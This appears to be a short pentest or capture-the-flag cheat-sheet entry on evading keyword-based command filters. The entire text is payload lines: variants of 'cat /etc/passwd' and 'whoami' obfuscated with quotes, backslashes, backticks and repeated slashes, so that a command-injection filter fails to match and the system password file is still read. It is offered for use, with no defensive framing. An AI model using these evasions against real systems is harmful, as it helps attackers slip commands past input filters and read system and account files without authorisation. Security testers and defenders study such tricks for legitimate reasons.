A keyword based filter is easy to bypass using simple quote, double quote, backslash et slash

c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami

In case the file '/etc/passwd' is filtered, just add /

c\at /etc////////passwd